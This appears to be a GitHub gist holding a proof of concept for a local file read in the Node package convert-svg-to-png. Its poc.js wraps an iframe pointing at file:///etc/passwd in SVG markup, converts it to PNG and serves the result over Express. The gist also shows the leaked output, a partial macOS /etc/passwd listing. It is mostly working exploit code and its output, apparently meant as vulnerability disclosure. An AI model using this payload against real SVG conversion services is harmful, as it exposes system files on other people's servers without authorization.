

legndery / [payload.svg](#) Secret

Last active 7 months ago

☆ Star

<> Code Revisions 3 Stars 2

Poc

 [payload.svg](#)

Unable to render rich display  
Invalid image source.

 [poc.js](#)

```
1  const { convert } = require('convert-svg-to-png');
2  const express = require('express');
3  const fileSvg = `<svg-dummy></svg-dummy>
4  <iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe>
5  <svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg">
6    <text x="0" y="0" class="Rrrrr" id="demo">data</text>
7  </svg>`;
8  const app = express();
9  app.get('/poc', async (req, res)=>{
10   try {
11     const png = await convert(fileSvg);
12     res.set('Content-Type', 'image/png');
13     res.send(png);
14   } catch (e) {
15     res.send("")
16   }
17 })
18 app.listen(3000, ()=>{
19   console.log('started');
20 });
```

 [poc\\_output.png](#)



```
##
# User Database
#
# Note that this file is
# in single-user mode.
# Open Directory.
#
# See the opendirectory
# Open Directory.
##
nobody:*:-2:-2:Unprivile
root:*:0:0:System Admin
daemon:*:1:1:System Ser
_uucp:*:4:4:Unix to Uni
_taskgated:*:13:13:Task
_networkd:*:24:24:Netwo
_installassistant:*:25:
_lp:*:26:26:Printing Se
_postfix:*:27:27:Postfi
_scsd:*:31:31:Service Co
_ces:*:32:32:Certificat
_appstore:*:33:33:Mac Ap
_mcxalr:*:54:54:MCX App
_appleevents:*:55:55:App
_geod:*:56:56:Geo Servi
_devdocs:*:59:59:Develo
_sandbox:*:60:60:Seatbe
_mdnsresponder:*:65:65:r
_ard:*:67:67:Apple Remo
_www:*:70:70:World Wide
_eppc:*:71:71:Apple Eve
_cvs:*:72:72:CVS Server
_svn:*:73:73:SVN Server
_mysql:*:74:74:MySQL Se
_sshd:*:75:75:sshd Priv
_qtss:*:76:76:QuickTime
_cyrus:*:77:6:Cyrus Adm
_mailman:*:78:78:Mailma
_appserver:*:79:79:Appl
_clamav:*:82:82:ClamAV
_amavisd:*:83:83:AMaViS
_jabber:*:84:84:Jabber
_appowner:*:87:87:Appli
_windowserver:*:88:88:W
_spotlight:*:89:89:Spot
_tokend:*:91:91:Token D
_securityagent:*:92:92:
_calendar:*:93:93:Calen
_teamsserver:*:94:94:Tea
_update_sharing:*:95:-2
_installer:*:96:-2:Inst
_atsserver:*:97:97:ATS
_ftp:*:98:-2:FTP Daemon
_unknown:*:99:99:Unknow
_softwareupdate:*:200:20
_coreaudiod:*:202:202:Co
_screensaver:*:203:203:
_locationd:*:205:205:Loc
_trustevaluationagent:*
_timezone:*:210:210:Auto
_lda:*:211:211:Local De
```

<div><div></div><div></div></div>		<div>id: 1211:211:Local DE</div> <div>_cvmsroot:*:212:212:CVM</div> <div>_usbmuxd:*:213:213:iPho</div> <div>dovecot:*:214:6:Doveco</div>
<div><div>report.md</div></div>		<div>postgres:*:216:216:Pos</div> <div><div>View raw</div><div>(Sorry about that, but we can't show files that are this big right now.)</div></div>

